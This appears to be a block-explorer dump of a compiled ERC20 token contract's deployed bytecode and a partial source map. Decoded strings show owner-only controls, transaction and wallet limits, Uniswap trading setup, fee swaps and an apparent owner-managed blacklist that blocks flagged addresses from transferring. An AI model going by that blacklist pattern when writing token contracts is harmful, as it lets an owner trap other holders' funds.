15610389575f80fd5b506101bd60085481565b34801561039e575f80fd5b5061026f6103ad36600461172d565b610710565b3480156103bd575f80fd5b5061026f610794565b3480156103d1575f80fd5b506101bd6103e03660046117f8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610b3e565b5060015b92915050565b5f61042d6009600a611926565b61043c906461f313f880611934565b905090565b5f61044d848484610c61565b61049e843361049985604051806060016040528060288152602001611ac7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112a6565b610b3e565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d19061194b565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb611980565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d19061194b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d19061194b565b6105de6009600a611926565b6105ed906461f313f880611934565b6006556105fc6009600a611926565b61060b906461f313f880611934565b6007819055604080518082019091526014546001600160a01b03908116825260055416602082015261065f916106429060646112de565b6006546106509060646112de565b61065a9190611994565b611363565b507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6009600a611926565b61069c906461f313f880611934565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016104d19061194b565b60405133904780156108fc02915f818181858888f19350505050158015610701573d5f803e3d5ffd5b50565b5f610416338484610c61565b5f546001600160a01b031633146107395760405162461bcd60e51b81526004016104d19061194b565b5f5b815181101561053457600160045f84848151811061075b5761075b611980565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161073b565b5f546001600160a01b031633146107bd5760405162461bcd60e51b81526004016104d19061194b565b601454600160a01b900460ff16156108175760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108619030906108526009600a611926565b610499906461f313f880611934565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d591906119a7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610934573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906119a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c691906119a7565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a0d816001600160a01b03165f9081526001602052604090205490565b5f80610a205f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a86573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aab91906119c2565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2491906119ed565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f908190600160b01b900460ff161580610dae5750601454600160a81b900460ff165b15610e67576001600160a01b0385165f90815260016020526040902054610dd6908490611a0c565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610e05908490611994565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e589087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e9157505f546001600160a01b03858116911614155b1561115a576001600160a01b0385165f9081526004602052604090205460ff16158015610ed657506001600160a01b0384165f9081526004602052604090205460ff16155b610ede575f80fd5b6012545f03610f0157600e5460125411610efa57600a54610efe565b600c545b90505b60125415610f0e57506011545b6014546001600160a01b038681169116148015610f3957506013546001600160a01b03858116911614155b8015610f5d57506001600160a01b0384165f9081526003602052604090205460ff16155b1561105c57600654831115610fb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b60075483610fd6866001600160a01b03165f9081526001602052604090205490565b610fe09190611994565b111561102e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600e546012541161104157600a54611045565b600c545b601280549192505f61105683611a1f565b91905055505b6014546001600160a01b03858116911614801561108257506001600160a01b0385163014155b156110a157600f546012541161109a57600b5461109e565b600d545b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110d757506014546001600160a01b038681169116145b80156110ec5750601454600160b01b900460ff165b1561115857601654431115611100575f6015555b600854811180156111145750601054601254115b15611136576111366111318561112c84600954611376565b611376565b61138a565b61113f476114fa565b60158054905f61114e83611a1f565b9091555050436016555b505b80156111ea57611175606461116f83866112de565b90611531565b305f908152600160205260409020549092506111919083611572565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e19086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461120c90846115d0565b6001600160a01b0386165f9081526001602052604090205561124f61123184846115d0565b6001600160a01b0386165f9081526001602052604090205490611572565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61129886866115d0565b604051908152602001610e58565b5f81848411156112c95760405162461bcd60e51b81526004016104d1919061163d565b505f6112d58486611a0c565b95945050505050565b5f825f036112ed57505f61041a565b5f6112f88385611934565b9050826113058583611a37565b1461135c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b9392505050565b815160208301515f916104169184610b3e565b5f818311611384578261135c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113d0576113d0611980565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611427573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061144b91906119a7565b8160018151811061145e5761145e611980565b6001600160a01b0392831660209182029290920101526013546114849130911684610b3e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bc9085905f90869030904290600401611a56565b5f604051808303815f87803b1580156114d3575f80fd5b505af11580156114e5573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f803e3d5ffd5b5f61135c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611611565b5f8061157e8385611994565b90508381101561135c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61135c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a6565b5f81836116315760405162461bcd60e51b81526004016104d1919061163d565b505f6112d58486611a37565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610701575f80fd5b803561169181611672565b919050565b5f80604083850312156116a7575f80fd5b82356116b281611672565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611672565b925060208401356116ed81611672565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561135c81611672565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561173d575f80fd5b813567ffffffffffffffff811115611753575f80fd5b8201601f81018413611763575f80fd5b803567ffffffffffffffff81111561177d5761177d611719565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117aa576117aa611719565b6040529182526020818401810192908101878411156117c7575f80fd5b6020850194505b838510156117ed576117df85611686565b8152602094850194016117ce565b509695505050505050565b5f8060408385031215611809575f80fd5b823561181481611672565b9150602083013561182481611672565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561187e578085048111156118625761186261182f565b600184161561187057908102905b60019390931c928002611847565b935093915050565b5f826118945750600161041a565b816118a057505f61041a565b81600181146118b657600281146118c0576118dc565b600191505061041a565b60ff8411156118d1576118d161182f565b50506001821b61041a565b5060208310610133831016604e8410600b84101617156118ff575081810a61041a565b61190b5f198484611843565b805f190482111561191e5761191e61182f565b029392505050565b5f61135c60ff841683611886565b808202811582820484141761041a5761041a61182f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561041a5761041a61182f565b5f602082840312156119b7575f80fd5b815161135c81611672565b5f805f606084860312156119d4575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119fd575f80fd5b8151801515811461135c575f80fd5b8181038181111561041a5761041a61182f565b5f60018201611a3057611a3061182f565b5060010190565b5f82611a5157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611aa65783516001600160a01b0316835260209384019390920191600101611a7f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cace19191058a8944c91eddca14b95b74297eba5c35448632981a4b72d19e2e364736f6c634300081a0033

Deployed Bytecode Sourcemap

3612:8629:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5616:83;;;;;;;;;;-1:-1:-1;5686:5:0;;;;;;;;;;;;-1:-1:-1;;;5686:5:0;;;;5616:83;;;;;;;:::i;:::-;;;;;;;;6435:161;;;;;;;;;;-1:-1:-1;6435:161:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6435:161:0;1084:187:1;4371:46:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;4371:46:0;1276:177:1;5887:95:0;;;;;;;;;;;;;:::i;6769:313::-;;;;;;;;;;-1:-1:-1;6769:313:0;;;;;:::i;:::-;;:::i;5798:83::-;;;;;;;;;;-1:-1:-1;5798:83:0;;4009:1;2113:36:1;;2101:2;2086:18;5798:83:0;1971:184:1;10789:83:0;;;;;;;;;;-1:-1:-1;10789:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;10857:7:0;10836:4;10857:7;;;:4;:7;;;;;;;;;10789:83;10625:158;;;;;;;;;;-1:-1:-1;10625:158:0;;;;;:::i;:::-;;:::i;:::-;;5988:119;;;;;;;;;;-1:-1:-1;5988:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6081:18:0;6054:7;6081:18;;;:9;:18;;;;;;;5988:119;1003:148;;;;;;;;;;;;;:::i;9998:253::-;;;;;;;;;;;;;:::i;4202:47::-;;;;;;;;;;;;;;;;789:79;;;;;;;;;;-1:-1:-1;827:7:0;854:6;789:79;;-1:-1:-1;;;;;854:6:0;;;3822:51:1;;3810:2;3795:18;789:79:0;3676:203:1;4256:49:0;;;;;;;;;;;;;;;;5705:87;;;;;;;;;;-1:-1:-1;5777:7:0;;;;;;;;;;;;-1:-1:-1;;;5777:7:0;;;;5705:87;;9881:111;;;;;;;;;;;;;:::i;6113:167::-;;;;;;;;;;-1:-1:-1;6113:167:0;;;;;:::i;:::-;;:::i;4312:52::-;;;;;;;;;;;;;;;;10459:160;;;;;;;;;;-1:-1:-1;10459:160:0;;;;;:::i;:::-;;:::i;10878:836::-;;;;;;;;;;;;;:::i;6286:143::-;;;;;;;;;;-1:-1:-1;6286:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6394:18:0;;;6367:7;6394:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6286:143;6435:161;6510:4;6527:39;448:10;6550:7;6559:6;6527:8;:39::i;:::-;-1:-1:-1;6584:4:0;6435:161;;;;;:::o;5887:95::-;5940:7;4067:13;4009:1;4067:2;:13;:::i;:::-;4052:28;;:12;:28;:::i;:::-;5960:14;;5887:95;:::o;6769:313::-;6867:4;6884:36;6894:6;6902:9;6913:6;6884:9;:36::i;:::-;6931:121;6940:6;448:10;6962:89;7000:6;6962:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6962:19:0;;;;;;:11;:19;;;;;;;;448:10;6962:33;;;;;;;;;;:37;:89::i;:::-;6931:8;:121::i;:::-;-1:-1:-1;7070:4:0;6769:313;;;;;:::o;10625:158::-;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;;;;;;;;;10694:6:::1;10689:87;10710:6;:13;10706:1;:17;10689:87;;;10761:5;10743:4;:15;10748:6;10755:1;10748:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10743:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10743:15:0;:23;;-1:-1:-1;;10743:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10725:3:0::1;10689:87;;;;10625:158:::0;:::o;1003:148::-;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;1110:1:::1;1094:6:::0;;1073:40:::1;::::0;-1:-1:-1;;;;;1094:6:0;;::::1;::::0;1073:40:::1;::::0;1110:1;;1073:40:::1;1141:1;1124:19:::0;;-1:-1:-1;;;;;;1124:19:0::1;::::0;;1003:148::o;9998:253::-;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;4067:13:::1;4009:1;4067:2;:13;:::i;:::-;4052:28;::::0;:12:::1;:28;:::i;:::-;10051:12;:22:::0;4067:13:::1;4009:1;4067:2;:13;:::i;:::-;4052:28;::::0;:12:::1;:28;:::i;:::-;10084:14;:22:::0;;;10117:83:::1;::::0;;;;::::1;::::0;;;10124:13:::1;::::0;-1:-1:-1;;;;;10124:13:0;;::::1;10117:83:::0;;10139:10:::1;::::0;::::1;10117:83;::::0;::::1;::::0;::::1;::::0;10175:23:::1;::::0;10194:3:::1;10175:18;:23::i;:::-;10153:12;::::0;:21:::1;::::0;10170:3:::1;10153:16;:21::i;:::-;:45;;;;:::i;:::-;10117:5;:83::i;:::-;-1:-1:-1::0;10216:27:0::1;4067:13;4009:1;4067:2;:13;:::i;:::-;4052:28;::::0;:12:::1;:28;:::i;:::-;10216:27;::::0;1422:25:1;;;1410:2;1395:18;10216:27:0::1;;;;;;;9998:253::o:0;9881:111::-;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;9933:51:::1;::::0;9941:10:::1;::::0;9962:21:::1;9933:51:::0;::::1;;;::::0;::::1;::::0;;;9962:21;9941:10;9933:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9881:111::o:0;6113:167::-;6191:4;6208:42;448:10;6232:9;6243:6;6208:9;:42::i;10459:160::-;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;10529:6:::1;10524:88;10545:5;:12;10541:1;:16;10524:88;;;10596:4;10579;:14;10584:5;10590:1;10584:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10579:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10579:14:0;:21;;-1:-1:-1;;10579:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10559:3:0::1;10524:88;;10878:836:::0;916:6;;-1:-1:-1;;;;;916:6:0;448:10;916:22;908:67;;;;-1:-1:-1;;;908:67:0;;;;;;;:::i;:::-;10940:11:::1;::::0;-1:-1:-1;;;10940:11:0;::::1;;;10939:12;10931:48;;;::::0;-1:-1:-1;;;10931:48:0;;6839:2:1;10931:48:0::1;::::0;::::1;6821:21:1::0;6878:2;6858:18;;;6851:30;6917:25;6897:18;;;6890:53;6960:18;;10931:48:0::1;6637:347:1::0;10931:48:0::1;10990:15;:104:::0;;-1:-1:-1;;;;;;10990:104:0::1;11041:42;10990:104:::0;;::::1;::::0;;;11105:58:::1;::::0;11122:4:::1;::::0;4067:13:::1;4009:1;4067:2;:13;:::i;:::-;4052:28;::::0;:12:::1;:28;:::i;11105:58::-;11208:15;;;;;;;;;-1:-1:-1::0;;;;;11208:15:0::1;-1:-1:-1::0;;;;;11208:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11190:55:0::1;;11268:4;11288:15;;;;;;;;;-1:-1:-1::0;;;;;11288:15:0::1;-1:-1:-1::0;;;;;11288:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11190:131;::::0;-1:-1:-1;;;;;;11190:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7437:32:1;;;11190:131:0::1;::::0;::::1;7419:51:1::0;7506:32;;7486:18;;;7479:60;7392:18;;11190:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11174:13;:147:::0;;-1:-1:-1;;;;;11174:147:0;;::::1;-1:-1:-1::0;;;;;;11174:147:0;;::::1;;::::0;;11333:15:::1;::::0;::::1;:31;11372:21;11417:4;11437:24;11417:4:::0;-1:-1:-1;;;;;6081:18:0;6054:7;6081:18;;;:9;:18;;;;;;;5988:119;11437:24:::1;11476:1;11492::::0;11508:7:::1;827::::0;854:6;-1:-1:-1;;;;;854:6:0;;789:79;11508:7:::1;11333:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11333:223:0;;;-1:-1:-1;;;;;7871:32:1;;;11333:223:0::1;::::0;::::1;7853:51:1::0;7920:18;;;7913:34;;;;7963:18;;;7956:34;;;;8006:18;;;7999:34;8070:32;;;8049:19;;;8042:61;11530:15:0::1;8119:19:1::0;;;8112:35;7825:19;;11333:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11574:13:0::1;::::0;11605:15:::1;::::0;11567:71:::1;::::0;-1:-1:-1;;;11567:71:0;;-1:-1:-1;;;;;11605:15:0;;::::1;11567:71;::::0;::::1;8793:51:1::0;-1:-1:-1;;8860:18:1;;;8853:34;11574:13:0;::::1;::::0;-1:-1:-1;11567:29:0::1;::::0;8766:18:1;;11567:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11659:11:0::1;:18:::0;;-1:-1:-1;;;;11688:18:0;-1:-1:-1;;;11688:18:0;;;10878:836::o;7088:335::-;-1:-1:-1;;;;;7181:19:0;;7173:68;;;;-1:-1:-1;;;7173:68:0;;9382:2:1;7173:68:0;;;9364:21:1;9421:2;9401:18;;;9394:30;9460:34;9440:18;;;9433:62;-1:-1:-1;;;9511:18:1;;;9504:34;9555:19;;7173:68:0;9180:400:1;7173:68:0;-1:-1:-1;;;;;7260:21:0;;7252:68;;;;-1:-1:-1;;;7252:68:0;;9787:2:1;7252:68:0;;;9769:21:1;9826:2;9806:18;;;9799:30;9865:34;9845:18;;;9838:62;-1:-1:-1;;;9916:18:1;;;9909:32;9958:19;;7252:68:0;9585:398:1;7252:68:0;-1:-1:-1;;;;;7331:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7383:32;;1422:25:1;;;7383:32:0;;1395:18:1;7383:32:0;;;;;;;7088:335;;;:::o;7429:2446::-;-1:-1:-1;;;;;7517:18:0;;7509:68;;;;-1:-1:-1;;;7509:68:0;;10190:2:1;7509:68:0;;;10172:21:1;10229:2;10209:18;;;10202:30;10268:34;10248:18;;;10241:62;-1:-1:-1;;;10319:18:1;;;10312:35;10364:19;;7509:68:0;9988:401:1;7509:68:0;-1:-1:-1;;;;;7596:16:0;;7588:64;;;;-1:-1:-1;;;7588:64:0;;10596:2:1;7588:64:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:34;10654:18;;;10647:62;-1:-1:-1;;;10725:18:1;;;10718:33;10768:19;;7588:64:0;10394:399:1;7588:64:0;7680:1;7671:6;:10;7663:64;;;;-1:-1:-1;;;7663:64:0;;11000:2:1;7663:64:0;;;10982:21:1;11039:2;11019:18;;;11012:30;11078:34;11058:18;;;11051:62;-1:-1:-1;;;11129:18:1;;;11122:39;11178:19;;7663:64:0;10798:405:1;7663:64:0;7788:11;;7738:17;;;;-1:-1:-1;;;7788:11:0;;;;7787:12;;:22;;-1:-1:-1;7803:6:0;;-1:-1:-1;;;7803:6:0;;;;7787:22;7783:217;;;-1:-1:-1;;;;;7844:15:0;;;;;;:9;:15;;;;;;:24;;7862:6;;7844:24;:::i;:::-;-1:-1:-1;;;;;7826:15:0;;;;;;;:9;:15;;;;;;:42;;;;7899:13;;;;;;;:22;;7915:6;;7899:22;:::i;:::-;-1:-1:-1;;;;;7883:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7941:26;;;;;;;;;;7960:6;1422:25:1;;1410:2;1395:18;;1276:177;7941:26:0;;;;;;;;7982:7;;7429:2446;;;:::o;7783:217::-;827:7;854:6;-1:-1:-1;;;;;8014:15:0;;;854:6;;8014:15;;;;:32;;-1:-1:-1;827:7:0;854:6;-1:-1:-1;;;;;8033:13:0;;;854:6;;8033:13;;8014:32;8010:1460;;;-1:-1:-1;;;;;8072:10:0;;;;;;:4;:10;;;;;;;;8071:11;:24;;;;-1:-1:-1;;;;;;8087:8:0;;;;;;:4;:8;;;;;;;;8086:9;8071:24;8063:33;;;;;;8114:9;;8125:1;8114:12;8111:114;;8164:15;;8154:9;;:25;8153:55;;8194:14;;8153:55;;;8181:12;;8153:55;8146:63;;8111:114;8242:9;;:11;8239:70;;-1:-1:-1;8280:12:0;;8239:70;8335:13;;-1:-1:-1;;;;;8327:21:0;;;8335:13;;8327:21;:55;;;;-1:-1:-1;8366:15:0;;-1:-1:-1;;;;;8352:30:0;;;8366:15;;8352:30;;8327:55;:83;;;;-1:-1:-1;;;;;;8388:22:0;;;;;;:18;:22;;;;;;;;8386:24;8327:83;8323:395;;;8450:12;;8440:6;:22;;8432:60;;;;-1:-1:-1;;;8432:60:0;;11543:2:1;8432:60:0;;;11525:21:1;11582:2;11562:18;;;11555:30;11621:27;11601:18;;;11594:55;11666:18;;8432:60:0;11341:349:1;8432:60:0;8545:14;;8535:6;8519:13;8529:2;-1:-1:-1;;;;;6081:18:0;6054:7;6081:18;;;:9;:18;;;;;;;5988:119;8519:13;:22;;;;:::i;:::-;:40;;8511:79;;;;-1:-1:-1;;;8511:79:0;;11897:2:1;8511:79:0;;;11879:21:1;11936:2;11916:18;;;11909:30;11975:28;11955:18;;;11948:56;12021:18;;8511:79:0;11695:350:1;8511:79:0;8627:15;;8617:9;;:25;8616:55;;8657:14;;8616:55;;;8644:12;;8616:55;8691:9;:11;;8609:63;;-1:-1:-1;8691:9:0;:11;;;:::i;:::-;;;;;;8323:395;8741:13;;-1:-1:-1;;;;;8735:19:0;;;8741:13;;8735:19;:43;;;;-1:-1:-1;;;;;;8758:20:0;;8773:4;8758:20;;8735:43;8732:149;;;8817:16;;8807:9;;:26;8806:58;;8849:15;;8806:58;;;8835:13;;8806:58;8799:66;;8732:149;8944:4;8895:28;6081:18;;;:9;:18;;;;;;8970:6;;-1:-1:-1;;;8970:6:0;;;;8969:7;:30;;;;-1:-1:-1;8986:13:0;;-1:-1:-1;;;;;8980:19:0;;;8986:13;;8980:19;8969:30;:45;;;;-1:-1:-1;9003:11:0;;-1:-1:-1;;;9003:11:0;;;;8969:45;8965:494;;;9054:13;;9039:12;:28;9035:90;;;9104:1;9092:9;:13;9035:90;9169:17;;9146:20;:40;:74;;;;;9202:18;;9190:9;;:30;9146:74;9143:169;;;9243:69;9260:51;9264:6;9272:38;9276:20;9298:11;;9272:3;:38::i;:::-;9260:3;:51::i;:::-;9243:16;:69::i;:::-;9331:35;9344:21;9331:12;:35::i;:::-;9385:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9431:12:0;9415:13;:28;8965:494;8048:1422;8010:1460;9483:7;;9480:212;;9518:24;9538:3;9518:15;:3;9526:6;9518:7;:15::i;:::-;:19;;:24::i;:::-;9600:4;9582:24;;;;:9;:24;;;;;;9506:36;;-1:-1:-1;9582:39:0;;9506:36;9582:28;:39::i;:::-;9575:4;9557:24;;;;:9;:24;;;;;;;:64;;;;9641:39;;-1:-1:-1;;;;;9641:39:0;;;;;;;9670:9;1422:25:1;;1410:2;1395:18;;1276:177;9641:39:0;;;;;;;;9480:212;-1:-1:-1;;;;;9718:15:0;;;;;;:9;:15;;;;;;:27;;9738:6;9718:19;:27::i;:::-;-1:-1:-1;;;;;9702:15:0;;;;;;:9;:15;;;;;:43;9770:40;9788:21;:6;9799:9;9788:10;:21::i;:::-;-1:-1:-1;;;;;9770:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9756:13:0;;;;;;;:9;:13;;;;;:54;;;;9826:41;;;9845:21;:6;9856:9;9845:10;:21::i;:::-;9826:41;;1422:25:1;;;1410:2;1395:18;9826:41:0;1276:177:1;2822:190:0;2908:7;2944:12;2936:6;;;;2928:29;;;;-1:-1:-1;;;2928:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2968:9:0;2980:5;2984:1;2980;:5;:::i;:::-;2968:17;2822:190;-1:-1:-1;;;;;2822:190:0:o;3020:246::-;3078:7;3102:1;3107;3102:6;3098:47;;-1:-1:-1;3132:1:0;3125:8;;3098:47;3155:9;3167:5;3171:1;3167;:5;:::i;:::-;3155:17;-1:-1:-1;3200:1:0;3191:5;3195:1;3155:17;3191:5;:::i;:::-;:10;3183:56;;;;-1:-1:-1;;;3183:56:0;;12614:2:1;3183:56:0;;;12596:21:1;12653:2;12633:18;;;12626:30;12692:34;12672:18;;;12665:62;-1:-1:-1;;;12743:18:1;;;12736:31;12784:19;;3183:56:0;12412:397:1;3183:56:0;3257:1;3020:246;-1:-1:-1;;;3020:246:0:o;6602:161::-;6702:10;;;6714;;;6676:4;;6693:40;;6726:6;6693:8;:40::i;10257:98::-;10314:7;10341:1;10339;:3;10338:9;;10346:1;10338:9;;;-1:-1:-1;10344:1:0;10331:16;-1:-1:-1;10257:98:0:o;11720:483::-;5189:6;:13;;-1:-1:-1;;;;5189:13:0;-1:-1:-1;;;5189:13:0;;;11822:16:::1;::::0;;11836:1:::1;11822:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11822:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11822:16:0::1;11798:40;;11867:4;11849;11854:1;11849:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11849:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11893:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11893:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11849:7;;11893:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11883:4;11888:1;11883:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11883:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11958:15:::1;::::0;11926:62:::1;::::0;11943:4:::1;::::0;11958:15:::1;11976:11:::0;11926:8:::1;:62::i;:::-;11999:15;::::0;:196:::1;::::0;-1:-1:-1;;;11999:196:0;;-1:-1:-1;;;;;11999:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12080:11;;11999:15:::1;::::0;12122:4;;12149::::1;::::0;12169:15:::1;::::0;11999:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1